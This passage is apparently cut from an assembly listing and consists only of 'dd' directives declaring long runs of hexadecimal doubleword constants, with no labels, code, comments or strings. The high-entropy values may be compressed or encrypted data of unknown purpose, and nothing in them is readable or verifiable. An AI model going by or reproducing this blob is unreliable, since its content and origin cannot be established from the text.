971ED4DEh, 95E9A004h dd 78825482h, 5B7307Ah, 1059A211h, 973084h, 0A905EA0Ch dd 0F88FA04Bh, 20E00238h, 29F7F653h, 190A40C8h, 5979C0A8h dd 68D45514h, 0C9A207B8h, 0A0FC5B31h, 0D178B1B3h, 0D0183Ah dd 0EB5D65FFh, 9687D78Dh, 2F1FB490h, 0D4499C3Ch, 9BF023B4h dd 6421CC1Ah, 0FED40199h, 1790EC48h, 5D783FDFh, 6A214FA4h dd 88E10584h, 3B716820h dd 0B58B7F02h, 0C9834D78h, 21803F58h, 913BB682h, 141CD832h dd 35002BE6h, 55799A8Ch, 0F881F158h, 5E5F0A09h, 0FC908630h dd 51952DFh, 5CB8F14Ah, 0CCDCC063h, 9B122764h, 0E800200Fh dd 8A8922F8h, 0D9492E90h, 0C31B0DECh, 649820E0h, 950BEEFh dd 806613BCh, 7F048B10h, 328F1510h, 8D1F6C6Ch, 0C6C96h dd 2E4A3ED9h, 536467B8h, 516703F0h, 0A38B713Bh, 888078E8h dd 77C63BA0h, 0B4C40024h, 64028CB5h, 1900ACD2h, 3F692F23h dd 12B73C8Ah, 3A486A61h, 3092330h, 5C8FAAACh, 307844D9h dd 4E05CC7Eh, 9C468EF6h, 175DEC49h, 396F8888h, 0B9C69860h dd 0EFC50007h, 0FBC77599h, 355C0489h, 64D380E0h, 5DACEA1h dd 0E6406ED9h, 0B8B80CA2h, 0C10FC679h, 0C1BF54F3h, 7C94AE80h dd 7CB57048h, 60592305h, 6A9FE18h, 0BE408h, 0FB7113A6h dd 3F2D6601h, 9BBE9A13h, 0F68B2420h, 133B4B4Fh, 92880820h dd 846D820h, 803B4A02h, 40310D8Bh, 3BA24310h, 0CA02F9FCh dd 7E0C0869h, 487CC830h, 9FF6008Eh, 74DA6B49h, 0D8120252h dd 1C105AC3h, 17B23DCh, 597F05B2h, 40611868h, 9D901794h dd 0D400C1Ch, 70003892h, 1F219D60h, 26CCB8B0h, 0D0C7E4h dd 73942FDh, 410C17A9h, 903ED496h, 53DB0013h, 0B78E8724h dd 88C528BEh, 0CC97A5h, 7E048C75h, 0A5414505h, 38A961h dd 300575BAh, 9E80E892h, 0E2E03ECh, 4F156EADh, 0F1A84190h dd 43E0CE0h, 0AD8BA43Bh, 203A3278h, 7D3BB587h, 0DF2D4E00h dd 9749D70Bh, 0A327E49Ch, 6BE82EDCh, 0C24A1290h, 1045ABE4h dd 199461E2h, 5C7C3846h, 8C3EB85Ch, 0AAE6EC00h, 0ABDF3418h dd 0C3FB0C4Eh, 48A0050Bh, 0C5C1561Fh, 57B7748h, 0C04067EDh dd 0D9F943E0h, 5B86B59h, 3537FD5Ah, 0BFB3E401h, 0BC4A199h dd 7E860124h, 0F0555780h, 38208045h, 7606FB8Ch, 820A7E0h dd 96C7DFBAh, 30FAE0DDh, 0B113977Ah, 488B6C8Fh, 97728700h dd 55B7BE38h, 8D902000h, 8EFFC8ABh, 0A82CB921h, 0EF8A00EBh dd 0D65D9812h, 0A8EE422Ch, 0B1DFEC03h, 0A08DC2A1h, 77836AEAh dd 7A7C002Bh, 49D4A71h, 8FEBBDFh, 51C03730h, 4F039BC3h dd 0B05028F1h, 10C65430h, 68259Bh, 0BD757303h, 663863F2h dd 0D96CD100h, 0C56E09FFh, 0D5D6300Eh, 85358624h, 2E138B00h dd 3D1E7BE6h, 0EED200DDh, 0F517E32Bh, 0C21F97A2h, 1EBA58DCh dd 9D80DE6Dh, 0B54F43D3h, 36BD39FBh, 4580C43Bh, 0C6532BCEh dd 0D407E4A0h, 4B0FABD3h, 70136D50h, 9A450F92h, 2E4052A9h dd 9ED089DAh, 0F4EB6F00h, 0B96C5916h, 3A971CF3h, 0E2B045F7h dd 4950007Ch, 8879E068h, 53007DF8h, 0C0F71170h, 0E49D3B1Fh dd 707B042h, 72CCA6CEh, 0F086B020h, 0D300129Eh, 3CBDB51Eh dd 8C1C98h, 356C0441h, 0F913160h, 0F4280FB0h, 8500EE69h dd 6D377E0h, 7EAA4Bh, 0BEEEDE50h, 35690403h, 0FE43A500h dd 0B41EEA1Ch, 77010036h, 0C1F1ECDFh, 6600391Bh, 8F1961B1h dd 0E6C03E71h, 0CC7601EFh, 70B7F4C4h, 2879E1A8h, 0FDEA7644h dd 0D3BFC300h, 1E7AF6E7h, 0C8F90063h, 0B5CB4636h, 7E0095E4h dd 0EE3B85FCh, 0AFBD78h, 8472072Fh, 95DC47BBh, 0EC5A7100h dd 1CC8CA2Dh, 0CCC53CB1h, 95800C48h, 0E1FAABC3h, 0A13C8500h dd 9CE6C2C6h, 38760792h, 0D015CB2Dh, 0F1BD5B63h, 0A1983E00h dd 714B9EBFh, 0C1190004h, 7B0D2D61h, 0CE00E7C3h, 55A82B89h dd 178A2AB4h, 0FCF09Eh, 3DA39C66h, 0D303C9CBh, 808645FFh dd 0AB34C817h, 6E50000Ah, 0DDA9FCA4h, 5D0101DAh, 0A17C4706h dd 1C247956h, 6FD70097h, 580E5535h, 63498FA8h, 0F2F0370h dd 93159BF8h, 0EBEF0E6h, 421E00AFh, 0D6B275FCh, 0B80036ECh dd 3BA9DEFh, 1CF1CA80h, 28A988FAh, 266C2890h, 4C8A00E8h dd 8C617602h, 0E500E455h, 0D87A2B51h, 0C50FC998h, 43751B78h dd 0F7E3B3D0h, 0BC047800h, 0EBF9484Fh, 988F009Fh, 957C62B9h dd 0A730DAA1h, 0C5CC6989h, 5275B3h, 68F9E951h, 0F49E59Ch dd 226FDC2Ch, 360A0Bh, 8DC0CCA5h, 55FB488Eh, 2F122A07h dd 0ED25917Eh, 2C042079h, 0ECAA8B00h, 1924CD21h, 67FC02F9h dd 0DBCCC611h, 0C2B0F090h, 9594A900h, 0FFBB5C9Ah, 175A0070h dd 4E236A06h, 0FE00B14Ch, 6E6058A4h, 28812DBCh, 39A00BD6h dd 0A880642Ah, 0A5E19E1Ah, 2400D858h, 5EA45516h, 86C815h dd 81D26348h, 0E292E7DAh, 58DE7400h, 674546CAh, 84941E16h dd 34FE3BE3h, 0EB21D304h, 7EFA2100h, 11F7831h, 0FA81CB5h dd 0E43B7913h, 0AF009BDCh, 0A11137E8h, 327103Eh, 178BB7F7h dd 89E015BCh, 0EA7AC7BDh, 30397601h, 1ED1920Ah, 1D63D8h dd 7E4DB4FDh, 8180FC35h, 94145071h, 8CF289h, 1E011A0Bh dd 0A0053BB0h, 328BCCh, 4361C6CFh, 4A285515h, 2BDCE700h dd 0FB7347D4h, 0BA1B0298h, 0B04D428Ch, 0C4D2FC48h, 5E0EFD00h dd 0CECA69F3h, 561B01B8h, 76C88D57h, 28BAE485h, 92EF4F00h dd 5E1FA049h, 2F600014h, 644581FEh, 0DF0CE3DCh, 0A92C611Ch dd 0F1B72079h, 2021AF6h, 874937A5h, 92844816h, 3D4E01E0h dd 803C07B5h, 8B1EC874h, 43C46E00h, 6D867923h, 0E13300CCh dd 90E9914Dh, 9772A3FEh, 952448h, 87C5276Ch, 9DE52EDh dd 4A151C93h, 1FA60827h, 291AC200h, 1B00E386h, 0B535DA71h dd 76D902h, 27494809h, 0E80D101h, 6A158D00h, 0C11B1213h dd 31B80052h, 90AE2572h, 4060BC2Dh, 66D1740h, 80B400EDh dd 0FF9DABD8h, 9AE07307h, 2410B71Fh, 0CC873CC0h, 285C5F6h dd 0E902CE48h, 84050BCh, 0AE01B9F0h, 7052DE7Ah, 1BE8F7D4h dd 0B2E8A9E1h, 9E2E6A00h, 0E0451D28h, 3379D91Dh, 0E454E880h dd 1D6CAC8h, 31F62B63h, 0E8200A5Bh, 8800F5FCh, 740259BEh dd 0F01A926Ah, 3854489Dh, 0B841C600h, 7C8663A9h, 90DBB600h dd 6F518A56h, 894D004Ah, 0A3BBD87Bh, 82003E2Ch, 26DB211Dh dd 3DE36Bh, 8B7DC16Fh, 81AB23EFh, 3AB7F802h, 61A20932h dd 0BEC41EDFh, 85EA017Ah, 0C4F2FA47h, 71C7D41Ah, 0F6E60B00h dd 760416C8h, 1C537C62h, 8396311Eh, 836E2A65h, 54EAF6F0h dd 243B30Ah, 2080A828h, 0FD58DF60h, 99380E77h, 6FACA592h dd 7100F298h, 5603C20Ah, 4BC701h, 4FD2B038h, 0C422AC4Ah dd 93303200h, 0D5906E17h, 0E25F015Ch, 0BF38C685h, 53F060C3h dd 0CCEFE500h, 34BDD482h, 0BB7E8DAh, 0A5C744ECh, 65E71C00h dd 0EF039D01h, 8F0B5613h, 4FD4D8E8h, 0B0690FDDh, 0C6807B06h dd 0EDD12CC3h, 0F83AB924h, 0A8A49A1Ch, 9E1E0820h, 1200AEE0h dd 65BF6BEAh, 4BFC0209h, 32ED8A80h, 0B3D6860h, 7B74C101h dd 104223ADh, 3DBD0864h, 0B4247F32h, 0DE140034h, 7ED70AE6h dd 3402BF00h, 0DBA610A3h, 2D9707Bh, 0A712E532h, 8837ADAh dd 7DF0A40Fh, 341BFDCEh, 80300DE8h, 5C7108A0h, 5884B047h dd 0C505801Ch, 7903A577h, 0C9C81F59h, 72210BC6h, 0C0A04CE7h dd 0B09154CAh, 9C088F61h, 188F3214h, 9802490h, 6731DF7Ch dd 725B9603h, 0D0CEC53Dh, 38EB904Ah, 1A008F49h, 5DB01422h dd 2A0019EDh, 7CAC8C8Bh, 90786D8Dh, 79C56E68h, 58415324h dd 0D35506h, 0FB9134CCh, 2040450Ch, 59722D02h, 0A202C836h dd 114D5658h, 8D022Ch, 72258FEBh, 0C6103B50h, 0FE000572h dd 0E1495C64h, 0EA5A8Fh, 27F96891h, 3FE5155Dh, 7B00627Ah dd 0E06D9301h, 6CBBA6h, 23CD80Bh, 0C333AD21h, 0C25C5301h dd 0C114A8B6h, 0F32760h dd 0F5806890h, 0E07AE265h, 7D61BE00h, 8CBC71EAh, 951603EFh dd 7F52A155h, 33B8BBD0h, 0C94A38EEh, 6C738402h, 0A0E163FBh dd 3BA1310h, 0D9BECEADh, 8DA03462h, 764BF08Bh, 9FDB6400h dd 9E6EE9h, 0A32598ECh, 0F9FE5F05h, 820478F2h, 0C7321ED9h dd 0EA4838D0h, 0D77001ADh, 0B2F91427h, 3148893Eh, 1E185155h dd 900FD30Ch, 5BD01808h, 69A0A500h, 0A27D0141h, 141D00D9h dd 0A3ADF3D2h, 0DA60EB3Ah, 0BFFBDB61h, 0A06500ACh, 259219C7h dd 3A372F85h, 5233E1BEh, 0F98F90A8h, 0B61407C5h, 8072B91Bh dd 2815D374h, 4D00CDEEh, 0C5B204EAh, 9DA6B23h, 35E17C89h dd 0C880942Eh, 0B8BCDBD2h, 625B5F00h, 42E4A9D0h, 0FEB60037h dd 0C870EBC2h, 0A0F4D5CDh, 0FB6F7909h, 322003D2h, 96F02273h dd 84CF4200h, 41A5AF23h, 0CBC21624h, 306CC80Eh, 0CC4EB04Fh dd 0DCB7C0FAh, 78EA7880h, 8F9901C7h, 0E1702F8Ch, 92408053h dd 0ED306EC4h, 345600C6h, 95FEC573h, 8C005513h, 514191C9h dd 0E82236BFh, 67A391Eh, 2F247000h, 67960A6Dh, 3C09953Ah dd 2720E0FEh, 7E70A8h, 4988572h, 0D034DB35h, 0C5BC0F01h dd 27406C13h, 0E46C280h, 5B2EE67Ah, 0A08CCA01h, 115DF57Fh dd 4B8330h, 65141AD3h, 0A439CC60h, 209D7007h, 7D707AAFh dd 3B7FA9E6h, 2A00AEB3h, 5CAC039Ah, 0B2E0EE92h, 20A4580Ch dd 402E680Bh, 0CFE8901Eh, 1152CC30h, 5C7DD74Eh, 7806DE40h dd 8E7D822h, 91213A67h, 0FA627DC0h, 0DA82384Fh, 4279683h dd 14C071ACh, 60C6070Ch, 0C95009h, 0BD51013h, 0DC5D5BE1h dd 3B20CC00h, 377CBC30h, 292D6009h, 809926FEh, 0C0CEAA02h dd 0C1D60F52h, 218B15EBh, 0DD8A4Fh, 4A41E2D5h, 90C83061h dd 87485C0h, 0AB781460h, 53365Eh, 1DDA491Fh, 0A81AD35h dd 728EF700h, 0B0BB7786h, 0AAEBE5D8h, 16F66087h, 8FDC005Bh dd 0E68D4F9Bh, 3D00D6C6h, 0E284939Ah, 60E32EFFh, 784618ACh dd 41F892E5h, 0CAEF4400h, 64F5BD29h, 0F8E02Dh, 0A754B47Ah dd 8BBA212Eh, 9500687Eh, 0C1A39FE5h, 1FAE0A92h, 40187EA6h dd 29CB8E57h, 8C03ED7h, 31FA9ADFh, 92AA00CAh, 0A968A352h dd 2000FFF4h, 4A022D32h, 604BE604h, 422A400Dh, 3803B66Ch dd 0A23EF2C6h, 1D497244h, 0B7F8E582h, 906B4310h, 0DDDE1906h dd 0C4054A7h, 246EB5E8h, 0BE18F238h, 0C61851B6h, 3949C048h dd 7EFC499Ah, 0AA8CC00h, 7E1EAF0h, 885E5077h, 56CA3EE3h dd 105A9F18h, 40709C8h, 72FCFFDBh, 2227F301h, 1A3F0h, 95DCD284h dd 5B2F646Dh, 0C90049F8h, 94AF240Eh, 0F61C78B1h, 28B53B71h dd 1D68F900h, 82BB46Ah, 0DBED610Eh, 21F640B7h, 0DFE3DDh dd 0DA7F8083h, 5B7ABD8Dh, 43006E76h, 27336899h, 8E564Bh dd 48F95FD1h, 1BDB1DFAh, 514D8100h, 271640B5h, 5BE0076Eh dd 0A24BCC91h, 1EE03222h, 741A0CECh, 1117C3h, 0D54DDE04h dd 95C8F99Ch, 0ECEF0012h, 0A91FA1A4h, 0E9001493h, 2E5AA7E2h dd 0E365A6h, 88946186h, 301E80B0h, 0B6F3C500h, 22A9CC12h dd 7098A4h, 903E9CB3h, 5FDBA016h, 3C148600h, 5733544h dd 0BE90E3h, 75859E8Bh, 0F29BEFEDh, 1F6F6E00h, 2C82D2D0h dd 322D18B5h, 0B3F41011h, 0A64994A0h, 36E4CF74h, 0A9838F07h dd 9B40E001h, 741B92h, 1D419384h, 0EEE6E2A1h, 8C205F00h dd 37AD36BEh, 0F14A1D71h, 0DEA4C06Ah, 68D8580Eh, 2BBEDC00h dd 0A751265Fh, 0A349004Ah, 931890EEh, 0BF00EFA2h, 3C76CD68h dd 0DA2F2Eh, 591C72ADh, 0FDE9B62Bh, 0B3BF300h, 0C3A94B20h dd 1158C0DDh, 0BEEC1C87h, 0A91A7C2Eh, 0B896430Ah, 83686900h dd 9423A77h, 747C53DBh, 8AF3FD80h, 0FD00E4FFh, 0A6A38C5Dh dd 399247E9h, 0FA53F4h, 0B7B516A0h, 0FD3BAADFh, 0E53C2700h dd 0A2CD7833h, 1B131FCCh, 0E4EA9Ah, 0C165CF32h, 517F6BE0h dd 3F3CCD75h, 6E7A8044h, 94150D73h, 139C7F8Dh, 0FF3AE5h dd 0D01084FDh, 14033320h, 3B2D2519h, 44858069h, 7ACC0058h dd 5D558286h, 0F0007538h, 0F971C752h, 0FDE56Ah, 0AEFA7910h dd 236CAF1Ah, 0F5422400h, 7B8D66D7h, 0EE4500C8h, 4904CBD5h dd 0CFEE966Dh, 207C2B00h, 0FFFC95BDh, 7122001Eh, 4359E150h dd 0F6097098h, 1636C4h, 0ECD60554h, 77AB0081h, 8706670Bh dd 4A0AFB92h, 0BF6A7C38h, 8CEF4900h, 3FDEA65h, 7BC13195h dd 100762E7h, 0AC849F7Ah, 0F7DD2C00h, 0FB8600B5h, 4B74CB7Bh dd 0E43B46C8h, 9412BFE7h, 1A18320h, 5002139Dh, 91807D76h dd 1C5BCD0Eh, 0ADA0493Bh, 77242D68h, 0BA00A431h, 0DB61327Ch dd 58D228F2h, 91621FB5h, 43D7C03Ah, 0E5B2CF29h, 325C42F8h dd 250900B7h, 33441B4Eh, 3F38A106h, 78514D0h, 6DA5B384h dd 246940DDh, 5C385088h, 0A3E40353h, 4ED499h, 3EAE8D18h dd 42BEF89Dh, 539E7500h, 0B6C47687h, 8FA20699h, 2495633Bh dd 5AF7200Bh, 468255FFh, 184BD939h, 898F68F8h, 0D447C62Ah dd 0CD07FDF4h, 39F7E7Bh, 2C130880h, 0BFB903C2h, 358CD6DEh dd 424D9698h, 14006398h, 8E4656B5h, 0FA05744Eh, 9EB7003Eh dd 0A86893A5h, 5800635Bh, 492C87CBh, 0DE9AEh, 515DCD28h dd 43ECC564h, 480F0200h, 7C76CAE0h, 0B5B1009Ah, 1222EC3h dd 66039C7Fh, 0B7078A5Bh, 98C4C345h, 0FC8EBCAEh, 977BCCh dd 0BB44519Fh, 18DF7BF2h, 0ADB86200h, 0FB9D95F0h, 0E2C53917h dd 0F2AE5F80h, 68745764h, 39EF0600h, 5C533E70h, 0D5BD0A24h dd 808CF832h, 8A8E5567h, 5800DA0Ch, 0D5287C63h, 3A6CCDh dd 0D42372A1h, 3DEA3561h, 0F75DA00h, 589C51DEh, 1F0C002Fh dd 6119298Ah, 50F89537h, 92D56500h, 0CBD3CF1Ch, 0C3430038h dd 4F6748C7h, 34035F1Eh, 35EC4C94h, 8CF1906Dh, 0AE57009Fh dd 1EC6E563h, 58907212h, 96814D02h, 80B9AAF5h, 46EBEA87h dd 28983D3Ah, 0E1D48085h, 3FB4004Ch, 8B90C586h, 212D3C01h dd 0BBDD9F68h, 0E01E080h, 572A73D7h, 96008274h, 0E7F69A59h dd 2C0D99h, 3FD8467Fh, 81E36CB0h, 0D1AA40h, 80CA3A58h dd 33277698h, 6AC2B300h, 6C578140h, 51CF3009h, 6F100A28h dd 58F9FF00h, 45BC76E2h, 6A3D055Ah, 27E71Fh, 0F615B4B7h dd 330021B3h, 0C67FD9A8h, 0FAE92AFDh, 1D5F01ACh, 88E39F23h dd 5E5864B1h, 0C80FCB00h, 366F21A1h, 0ADFD0198h, 545B5AD8h dd 0F2B8E390h, 8200F6DDh, 6120E7D2h, 53C0E3Fh, 302AC435h dd 2ED2C0D3h, 8500AF54h, 38821D16h, 4B36DD9h, 4AF52F0Bh dd 9FFCC0C0h, 0EFE65EC9h, 56A0F200h, 0B446E40Ch, 51C501A8h dd 0A588A76Eh, 680B20A9h, 0DE077BE2h, 0EDAD503Dh, 65867930h dd 0E47841h, 78A991BEh, 9B812D26h, 3A88CE1Dh, 0A5D81500h dd 7E0A2E5h, 29056034h, 3400F95h, 52083865h, 1C61CB24h dd 20FA060Fh, 141DC134h, 962B006Eh, 9B88DFEBh, 700049BCh dd 0F23ADCAEh, 0E3C1C94h, 0BF2B1425h, 813F0F27h, 0E80A2A6Fh dd 36009508h, 382E63F7h, 0AEA1E4h, 9940AFCAh, 562A451Ch dd 5E1AA6E2h, 60217E10h, 3EDB7A45h, 38805A88h, 1D1A6B2Fh dd 4824997Dh, 1F0051DAh, 0CE7BA89Bh, 5DFE0FEDh, 0C0FD1A12h dd 0FBD0BAF9h, 1D1FC2D2h, 45809CD3h, 0FF0475A4h, 1EA10085h dd 0F1791FE2h, 20F2536Dh, 0DA25D700h, 87123959h, 233558C5h dd 0AD06EB00h, 0A2445F51h, 52019F0Eh, 45A48FA5h, 4D807A55h dd 93B137Bh, 0C8EF87A3h, 54016880h, 33000B63h, 0AC06BF9Fh dd 8BB41Dh dd 4AF0EAA1h, 10C377C5h, 481E20C0h, 3E62FF8Fh, 422EBC7Ch dd 0EF2600FAh, 6DE946DFh, 2A289CBAh, 762E8029h, 670089C6h dd 46AAF68Ah, 0CECC00E3h, 0C1F58B7Ah, 0CD01FF03h, 0E2B678D0h dd 84002C6h, 6C48789h, 0D1C02201h, 840B317Ch, 8F68274Eh dd 0F0D52718h, 0A021A16Fh, 80202DEBh, 0E0065D42h, 0F0BD9503h dd 80C8E74h, 395E2950h, 3EF10005h, 0C1EB8D3Ah, 1C00DA52h dd 3662E2FCh, 0EA83BCFFh, 0DB120060h, 840ED428h, 290042E1h dd 6EE42C67h, 0A70594h, 0BFE5E93Bh, 537058C0h, 0C3EEF300h dd 49DCA17Eh, 9CFE0063h, 1106AA19h, 4209D34Bh, 4F0FCDh dd 0DCECFA5Dh, 0EFDF1D4Eh, 0FC6D8186h, 803F54D5h, 0B7A14A39h dd 0C0EA5C3Bh, 0BA5870D9h, 9007FA1Dh, 661AA762h, 78AA0A1Fh dd 0EAD8AB00h, 7ECD0EEh, 7BE9E376h, 1200FE65h, 0AB56E433h dd 0CEC3A400h, 5AF094D9h, 0D0BD0001h, 7431850Dh, 0F71CA10Eh dd 0EB87CF8Ah, 0D3B74741h, 0F3004E17h, 5D784h, 902F5797h dd 55AD4DC4h, 0BA29FB00h, 2E65DFE4h, 0DEA01886h, 0CB17C26Ch dd 1CAF5812h, 46FA894h, 84B46E15h, 0C0284109h, 8422650Fh dd 1C407C8Ah, 0E5004DFFh, 0B172D794h, 262AEBAFh, 0C470EAh dd 0BB2DB477h, 7E0E464Eh, 204873C6h, 0D8D381BCh, 9AA84880h dd 43DDEC00h, 0ED83679Eh, 0DE285A1Fh, 6CCB1C05h, 0E94CC580h dd 40FED8h, 27952B36h, 333CA444h, 0D50A4501h, 0ED11B77Ch dd 1AE5ECh, 0CACC6404h, 142F4B27h, 7168D8E3h, 945C48B8h dd 95007F50h, 6AF7F6B9h, 0CAA757h, 213A5C90h, 0DE734F06h dd 0DFBA2607h, 8F50CE98h, 7CF165h, 7BCB22CCh, 74E490B7h dd 0F474Ch, 0A3AC621h, 4A82489h, 0D1D8A38Ch, 31B48175h dd 707EDDF4h, 500EFD54h, 9C716DC1h, 49734700h, 57343Ch dd 303F8804h, 0F12D9DDDh, 6B65BB02h, 5033F3F6h, 0CC5A0030h dd 5CBC2FEEh, 0C2066070h, 0D8024C3Ah, 6D1D0138h, 0D0E7828Ah dd 2465F894h, 6CCF4Ch, 0DC62FDDEh, 0B71EA99h, 669A18D1h dd 5232B020h, 1F00DD03h, 0B95EC15Ch, 0C0787109h, 9455A441h dd 0D498421Dh, 96009D7Bh, 97DA2098h, 740CFB87h, 0F680007Fh dd 0AF321E49h, 431D4BB0h, 319E5F1Fh, 555D8300h, 1CF9C512h dd 8025CAEEh, 0A88C51DCh, 6F0FEB7Eh, 0EC98B537h, 0E2A18C9h dd 4775C58Ah, 0E08BB121h, 6D96E88Eh, 17DF2407h, 0A030B627h dd 0B1FADF7h, 63E77FD6h, 60EDC182h, 2881D4C9h, 67DF0CB0h dd 30303826h, 0C8F8CFB4h, 0E8819660h, 0B8FC52FEh, 353A00ACh dd 0C5A983C3h, 0A5005064h, 0AD2D71B1h, 0E7C7549h, 0B99E965Bh dd 0C9F67061h, 0B4CC513Fh, 3BFC28CCh, 9466A8D8h, 1B7D9300h dd 22CBE47Fh, 0C3ED0131h, 0B512D465h, 0D6A182CAh, 0A0045978h dd 636733E0h, 1F50545h, 1DD4E9h, 0A878ECF5h, 7300EDE1h dd 0CAFFC167h, 3BA2B9Ah, 0D6669F69h, 86804A18h, 40070943h dd 0F0396130h, 10A97BB6h, 3179BB7h, 5627731Eh, 0B9810019h dd 8EEC6DD4h, 0EF00436Fh, 62C45E5Dh, 940FF1h, 0C5427F84h dd 850A68FBh, 19F28102h, 0C840C661h, 22C320h, 0E03B78D9h dd 0D685E4F0h, 9E4AB17Ah, 0DF66A000h, 39D1CDDEh, 6074DAE3h dd 89601835h, 0E20E80F6h, 8025E550h, 5936B37Ch, 5165008Eh dd 0A75EB8A4h, 39278A93h, 0BCDD8F96h, 20158DCh, 6BD8543Ah dd 6F11D4h, 0E39CC632h, 70B2E0EAh, 9B1EA803h, 0A06B1330h dd 0E4D986E4h, 0B6880091h, 1B8460D5h, 0CA0140F1h, 611719B0h dd 904326D6h, 0F8C0B011h, 69D300F7h, 0C720E9B5h, 3B4B75FFh dd 67E20000h, 0B71372h, 68854E8Fh, 46E19F8Ah, 94FF7A1Dh dd 233112C0h, 558677Fh, 6945A55Ah, 0C7885D53h, 0F088B64Ah dd 23B9DCA9h, 1E8DC900h, 37F825C2h, 0CFDD006Bh, 34053E4Ch dd 247622B3h, 5A006F77h, 95F21D59h, 3A62EF0Bh, 0A813EB06h dd 102409F6h, 3FF74421h, 0AFA8FF5Dh, 65126FF9h, 0E400D384h dd 39209D38h, 459624FDh, 0AC5D8014h, 0C5A33FCAh, 44AB9200h dd 5FF3B6DCh, 0C16E018Dh, 43A79711h, 72A8D84Dh, 17DE7500h dd 149A21C2h, 81040033h, 0FF6DAFE6h, 5E0024F1h, 0AABF19A4h dd 68D0Bh, 648AC6CAh, 0CE736DA8h, 0B88F9716h, 0CB592845h dd 0C835F8D0h, 482348F2h, 856B4E00h, 0F1F437BFh, 79E9EC00h dd 0BE389698h, 650800CAh, 0E2FA2AC3h, 0D600F146h, 0A116FB0Fh dd 6137D2F4h, 8F6A18FDh, 9312205Eh, 0A5EC2800h, 36CB18E6h dd 0FCFD0705h, 90D97797h, 1A1E4B62h, 669B7300h, 22F81DEBh dd 0CF2F0398h, 52900629h, 0A41E708Fh, 5A007DA8h, 406B503Dh dd 50CF9D63h, 8E8A9h, 8D6472E6h, 33229ED2h, 19031403h dd 0B0939B1Dh, 9063FDCCh, 606C07D4h, 7096ED6Eh, 0A334AA0Dh dd 0BF205B00h, 0CB6377E7h, 0D1623F69h, 5186DD89h, 0FB9B1800h dd 4B38148Ch, 0D41081BEh, 8B8D0E02h, 48F0F031h, 87B000FFh dd 8A08136Bh, 0CD0FB4D1h, 6046A0E9h, 0BAE089E1h, 1FC9001Bh dd 41E6A82Ah, 0A67BF260h, 0AF0099F2h, 0E8C4D558h, 70B9F171h dd 8B180440h, 80D0E644h, 0B5918CDBh, 0CE953400h, 0B0063D76h dd 0B73A0071h, 27F19BBCh, 570FDA16h, 1C9C841Ah, 530AAFC0h dd 1F3DCF4Fh, 917223h, 0FC28D936h, 0B20089BCh, 0C6EA4DA5h dd 8F33A4h, 2A863493h, 0DBEFDDD3h, 1EAE2600h, 55E295ABh dd 4D36F6DAh, 0B6006097h, 0D8062B86h, 0C4735A35h, 8C450700h dd 7CB72934h, 479A0371h, 0FF6892DCh, 4A9B7BF8h, 84AE2C9Eh dd 860B40Ah, 650C0025h, 320E6194h, 0E6307AE1h, 3BB8C2E0h dd 82FC5F5Ch, 0C8BA40A6h, 225498h, 0C250DE0Ah, 9175830Bh dd 1A14A1C0h, 620DF666h, 90FA1160h, 266249C0h, 2010D130h dd 2EA5A3Dh, 0C0A52C1h, 208F7D83h, 4E0302E3h, 0FB1D0BF8h dd 15A86D00h, 0D1A14C9Dh, 149050D5h, 540303D6h, 52DE0B9Ah dd 50DC3002h, 824C69C0h, 80605654h, 9A766460h, 0F6EC38h dd 0B117E3B4h, 85F3554Dh, 9EA78A05h, 7DC1690Fh, 0F6E09231h dd 5B831D30h, 0F064C0F9h, 48536C4Ah, 8F3A1D74h, 233DF6A2h dd 0AD0980B4h, 1AA55524h, 6F50010Ch, 0BA0A9B9Dh, 3C65D1h dd 0EC9066A5h, 5F062376h, 93E94DE2h, 85310792h, 41250587h dd 0C0A91C96h, 172D95EEh, 8114A0BAh, 507BF3E3h, 13BE810Ch dd 0E0A0B3CEh, 101B7826h, 0C0F1C2B9h, 78074147h, 0D1730048h dd 87DCAF6Ch, 0B43B694Bh, 38998F57h, 97A487CFh, 0F63C1F10h dd 0CC960024h, 21603B72h, 9D017C18h, 0E4D61D3Dh, 0A120AB6Bh dd 31E203A3h, 6C834F62h, 96019907h, 0A647556Ah, 5D532C80h dd 3F29F46Bh, 6E847888h, 803D62D4h, 0DC31DDB2h, 51D14D1Eh dd 19385EC1h, 89E1701h, 972070A3h, 4400D17Dh, 2128DB3Ah dd 0C11E9Fh, 0EC3B212h, 278DD5BFh, 4BE50200h, 0ECE71876h dd 7C173EEEh, 1636FD80h, 38849775h, 0D95D090Eh, 1522841Ch dd 16245200h, 0FE30F7E5h, 8D25907Bh, 28F41Ch, 8BD2AEA4h dd 23B3999h, 0D47D8C0Ch, 8C3EC031h, 4DD1791Fh, 0A2887E91h dd 0F3207B98h, 721400D0h, 0D5369F4Bh, 476C498Bh, 0ADDD8858h dd 8608C02Ch, 8E3069B4h, 0A73FA961h, 0E27A2A7Fh, 3918E988h dd 974E1604h, 0E3311ABCh, 51800418h, 7FAAC16h, 58992336h dd 81919C3Dh, 0A873E400h, 0E6F01932h, 0EC4D0552h, 6E58A09h dd 803CC9D2h, 0A8D55A02h, 40803951h, 3D865F00h, 0B96EA23Ah dd 8700E4AEh, 3FFB5DD5h, 20E5F17Fh, 9407BEC2h, 6A78FD6Fh dd 0D4305CA7h, 0E2220Ch dd 0CA5451EFh, 752D4794h, 2B8F6700h, 21EE102Eh, 0ADED1EB7h dd 4A003DC0h, 8E57C8A4h, 0B81FFE88h, 80793FCFh, 0F62AF0D0h dd 93554Eh, 0E192069Eh, 13418A61h, 5C016F25h, 0C448002Ch dd 0B466CA59h, 20CBD4Ch, 9D7D8E35h, 0E023C0E1h, 0D4D500E5h dd 688018CCh, 6C00267Ah, 81486175h, 13F4F9h, 87B57CEh dd 0EC42B316h, 1577B500h, 0E3A0A838h, 49D7071Eh, 40C70E8Eh dd 0A9A710AFh, 9100F87Bh, 0F0ECAEE5h, 2E4A70DFh, 80881Fh dd 5D603397h, 73002CA2h, 9E9F57D0h, 0BBD793h, 0CA4782ECh dd 0E6098FC9h, 4037DF00h, 488099BFh, 0CC231DF7h, 446ADF1Ah dd 80A2B8A4h, 0FB436506h, 41B37800h, 83AE09F1h, 0E6A000Ah dd 0C5186C79h, 0CCA032AFh, 3C12848Dh, 0C0F8BECBh, 40F36303h dd 67D9A737h, 0D494D077h, 269A1300h, 7D3EF68h, 0B6890222h dd 0AA211B3h, 6E56FC80h, 30018644h, 0F2C1B9BDh, 5DECB65Eh dd 0E57E0012h, 203D41C2h, 244CD41Ah, 0AA00731Ch, 0B5DF48F1h dd 884DE8h, 0A0137F74h, 728C5168h, 9E00E1FAh, 43A40240h dd 85AAF1h, 3570AD74h, 6ED9B101h, 19C26C00h, 8E71CF77h dd 737873E2h, 0A7434899h, 46D5A00h, 0DA1845DCh, 